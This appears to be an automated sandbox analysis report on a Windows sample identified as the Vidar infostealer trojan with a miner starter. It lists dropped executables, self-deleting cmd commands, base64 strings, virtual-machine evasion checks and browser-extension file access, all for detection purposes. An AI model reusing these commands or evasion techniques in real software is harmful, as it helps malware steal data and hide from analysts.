Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc.dll	Jump to behavior

Source: Setup.exe	Static PE information: Number of sections : 12 > 10
Source: 92398908710653760371.exe.2.dr	Static PE information: Number of sections : 11 > 10
Source: 635965506[1].exe.2.dr	Static PE information: Number of sections : 11 > 10

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: Process Memory Space: AppLaunch.exe PID: 5124, type: MEMORYSTR

Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: String function: 00404630 appears 154 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@18/10@3/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: 68398609819664439000.exe.2.dr, Main.cs	Task registration methods: 'CreateRandomFiles'
Source: Starter[1].exe.2.dr, Main.cs	Task registration methods: 'CreateRandomFiles'
Source: 8.0.68398609819664439000.exe.e70000.0.unpack, Main.cs	Task registration methods: 'CreateRandomFiles'

Source: Setup.exe

Virustotal: Detection: 34%

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe C:\Users\user\Desktop\Setup.exe
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\ProgramData\92398908710653760371.exe "C:\ProgramData\92398908710653760371.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\ProgramData\68398609819664439000.exe "C:\ProgramData\68398609819664439000.exe"
Source: C:\ProgramData\92398908710653760371.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\92398908710653760371.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 6
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\ProgramData\92398908710653760371.exe "C:\ProgramData\92398908710653760371.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\ProgramData\68398609819664439000.exe "C:\ProgramData\68398609819664439000.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" & exit	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\92398908710653760371.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 6	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: C:\ProgramData\68398609819664439000.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_0041F750 CreateToolhelp32Snapshot,Process32First,Process32Next,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,Process32Next,CloseHandle,

2_2_0041F750

Source: 68398609819664439000.exe.2.dr, Main.cs	Base64 encoded string: 'sRakE16hA6VdWhSQgQsia7abnh8zds/1w6YQMUWt+p5C10r6ECf9ZhyiIqxSOUzWyDYbd8oXp5KEqEf+4P9NcxK52MIHRIjVUpU/1vXHtbZBtkrFjYnMQrFjML7zOOCpms1Br+fuuDrXspR8jBbkEKFs14aKDlnS93THHtneZ8rGWVw1ki23X0eNPj2Xy5WbZNj63ewGmTNWOiHhEHEZJMDW5KqA1/hrqAA9HV1Aqgpgxe4C7mqEOYQTDAB+cSGYBbC78MdnqAGaZT/d9jyYHsHrMMCoMBzEU7Ktxh+VRwZnFupk4m+2JTuyr5cwgYyOl55+jF1GlmU9YQ4fmInCRtV+BGhxfGDtgEIkK87c0NWI27CL90ZYkjgES1dMgKQkm3lfzMD+K9Ku+x1S0zMPK2gRpvIJFuLVSYbUTFoVMOirdZ/6IlnqcgMIbcNGmlkDcxWK044xFWxbjDY414K4I1ZTXp3qT3TfaH33NAW9RHp1IsfrmFGq4xZtzC9Ag/rdSVbklsL3QIUW9/B6e87V/mqwmTnb+OYkDs6SnWebvcCTnBywlugG4VkWxH+f16VJUq77wy7kaaFdI866BhWbWtDkxD1n/EZ/bwodGVgRMelY4QubLeZQEUY583lTOwHj', 'XXG5xM9WdKX92P80XAK4z78JHXD9Lq5uxfU5UH/abX8ZehBvQo8c8uZwryvD9t51ee9snGhvn9e4bmceTGI9DCvpeZIbHGADC7J4krYZR5w/GF2Z3YF4M/WrwXR7ycojfJMuLcYLAQF2XlUapeqnWC1vEkm8xjm+W6mkkqQTd7s='
Source: Starter[1].exe.2.dr, Main.cs	Base64 encoded string: 'sRakE16hA6VdWhSQgQsia7abnh8zds/1w6YQMUWt+p5C10r6ECf9ZhyiIqxSOUzWyDYbd8oXp5KEqEf+4P9NcxK52MIHRIjVUpU/1vXHtbZBtkrFjYnMQrFjML7zOOCpms1Br+fuuDrXspR8jBbkEKFs14aKDlnS93THHtneZ8rGWVw1ki23X0eNPj2Xy5WbZNj63ewGmTNWOiHhEHEZJMDW5KqA1/hrqAA9HV1Aqgpgxe4C7mqEOYQTDAB+cSGYBbC78MdnqAGaZT/d9jyYHsHrMMCoMBzEU7Ktxh+VRwZnFupk4m+2JTuyr5cwgYyOl55+jF1GlmU9YQ4fmInCRtV+BGhxfGDtgEIkK87c0NWI27CL90ZYkjgES1dMgKQkm3lfzMD+K9Ku+x1S0zMPK2gRpvIJFuLVSYbUTFoVMOirdZ/6IlnqcgMIbcNGmlkDcxWK044xFWxbjDY414K4I1ZTXp3qT3TfaH33NAW9RHp1IsfrmFGq4xZtzC9Ag/rdSVbklsL3QIUW9/B6e87V/mqwmTnb+OYkDs6SnWebvcCTnBywlugG4VkWxH+f16VJUq77wy7kaaFdI866BhWbWtDkxD1n/EZ/bwodGVgRMelY4QubLeZQEUY583lTOwHj', 'XXG5xM9WdKX92P80XAK4z78JHXD9Lq5uxfU5UH/abX8ZehBvQo8c8uZwryvD9t51ee9snGhvn9e4bmceTGI9DCvpeZIbHGADC7J4krYZR5w/GF2Z3YF4M/WrwXR7ycojfJMuLcYLAQF2XlUapeqnWC1vEkm8xjm+W6mkkqQTd7s='
Source: 8.0.68398609819664439000.exe.e70000.0.unpack, Main.cs	Base64 encoded string: 'sRakE16hA6VdWhSQgQsia7abnh8zds/1w6YQMUWt+p5C10r6ECf9ZhyiIqxSOUzWyDYbd8oXp5KEqEf+4P9NcxK52MIHRIjVUpU/1vXHtbZBtkrFjYnMQrFjML7zOOCpms1Br+fuuDrXspR8jBbkEKFs14aKDlnS93THHtneZ8rGWVw1ki23X0eNPj2Xy5WbZNj63ewGmTNWOiHhEHEZJMDW5KqA1/hrqAA9HV1Aqgpgxe4C7mqEOYQTDAB+cSGYBbC78MdnqAGaZT/d9jyYHsHrMMCoMBzEU7Ktxh+VRwZnFupk4m+2JTuyr5cwgYyOl55+jF1GlmU9YQ4fmInCRtV+BGhxfGDtgEIkK87c0NWI27CL90ZYkjgES1dMgKQkm3lfzMD+K9Ku+x1S0zMPK2gRpvIJFuLVSYbUTFoVMOirdZ/6IlnqcgMIbcNGmlkDcxWK044xFWxbjDY414K4I1ZTXp3qT3TfaH33NAW9RHp1IsfrmFGq4xZtzC9Ag/rdSVbklsL3QIUW9/B6e87V/mqwmTnb+OYkDs6SnWebvcCTnBywlugG4VkWxH+f16VJUq77wy7kaaFdI866BhWbWtDkxD1n/EZ/bwodGVgRMelY4QubLeZQEUY583lTOwHj', 'XXG5xM9WdKX92P80XAK4z78JHXD9Lq5uxfU5UH/abX8ZehBvQo8c8uZwryvD9t51ee9snGhvn9e4bmceTGI9DCvpeZIbHGADC7J4krYZR5w/GF2Z3YF4M/WrwXR7ycojfJMuLcYLAQF2XlUapeqnWC1vEkm8xjm+W6mkkqQTd7s='

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4976:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:500:120:WilError_01
Source: C:\ProgramData\68398609819664439000.exe	Mutant created: \Sessions\1\BaseNamedObjects\checkrun2programsnot
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:276:120:WilError_01

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Setup.exe

Static file information: File size 3999744 > 1048576

Source: Setup.exe

Static PE information: Raw size of .$"Z is bigger than: 0x100000 < 0x3cfa00

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\Users\admin\source\repos\Task16MinerStarter\Task16MinerStarter\obj\Release\Task16MinerStarter.pdb source: 68398609819664439000.exe, 00000008.00000000.297553862.0000000000E72000.00000002.00000001.01000000.00000007.sdmp, 68398609819664439000.exe.2.dr
Source:	Binary string: C:\Users\admin\source\repos\Task16MinerStarter\Task16MinerStarter\obj\Release\Task16MinerStarter.pdb}] source: 68398609819664439000.exe, 00000008.00000000.297553862.0000000000E72000.00000002.00000001.01000000.00000007.sdmp, 68398609819664439000.exe.2.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_0042DB09 push ecx; ret

2_2_0042DB1C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_00423F60 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00423F60

Source: 68398609819664439000.exe.2.dr

Static PE information: 0xF949BD96 [Fri Jul 14 22:30:46 2102 UTC]

Source: Setup.exe	Static PE information: section name: .eh_fram
Source: Setup.exe	Static PE information: section name: .Dvg
Source: Setup.exe	Static PE information: section name: .jzw
Source: Setup.exe	Static PE information: section name: .$"Z
Source: 92398908710653760371.exe.2.dr	Static PE information: section name: .xdata
Source: 635965506[1].exe.2.dr	Static PE information: section name: .xdata

Source: initial sample

Static PE information: section where entry point is pointing to: .$"Z

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\ProgramData\68398609819664439000.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\ProgramData\92398908710653760371.exe			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\ProgramData\68398609819664439000.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\ProgramData\92398908710653760371.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\635965506[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

2_2_00423F60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\choice.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Setup.exe

RDTSC instruction interceptor: First address: 00000000004EFA65 second address: 00000000004EFA71 instructions: 0x00000000 rdtsc 0x00000002 pop ecx 0x00000003 cwde 0x00000004 pop ebx 0x00000005 pop ebp 0x00000006 cdq 0x00000007 pop esi 0x00000008 cdq 0x00000009 movsx eax, bx 0x0000000c rdtsc

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: _memset,_memset,_memset,lstrcatA,lstrcatA,lstrcatA,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,GetUserNameA,_strlen,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,GetLogicalDriveStringsA,GetDriveTypeA,lstrcpy,StrStrA,lstrcpyn,lstrcpy,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,lstrlenA,

2_2_0040C3A0

Source: C:\Windows\SysWOW64\timeout.exe TID: 1296

Thread sleep count: 44 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\68398609819664439000.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

2_2_0040C3A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior

Source: 68398609819664439000.exe.2.dr	Binary or memory string: Vmwaretrat
Source: 68398609819664439000.exe, 00000008.00000000.297553862.0000000000E72000.00000002.00000001.01000000.00000007.sdmp, 68398609819664439000.exe.2.dr	Binary or memory string: vboxtray
Source: 68398609819664439000.exe.2.dr	Binary or memory string: vboxservice
Source: AppLaunch.exe, 00000002.00000002.299690333.00000000050E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-USnJU
Source: 68398609819664439000.exe.2.dr	Binary or memory string: Vmtoolsd
Source: AppLaunch.exe, 00000002.00000002.299690333.00000000050E7000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 68398609819664439000.exe, 00000008.00000002.318953818.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxtraydOt
Source: 68398609819664439000.exe.2.dr	Binary or memory string: Vmwareuser
Source: 92398908710653760371.exe, 00000004.00000002.316021486.0000019E3327C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_0041EAE0 GetSystemInfo,_strlen,

2_2_0041EAE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00420890 FindFirstFileW,_wcslen,FindNextFileW,_wcslen,FindNextFileW,	2_2_00420890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00418910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,_memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,_memset,lstrcatA,_malloc,GetTickCount,_rand,wsprintfA,lstrcatA,FindNextFileA,FindClose,	2_2_00418910
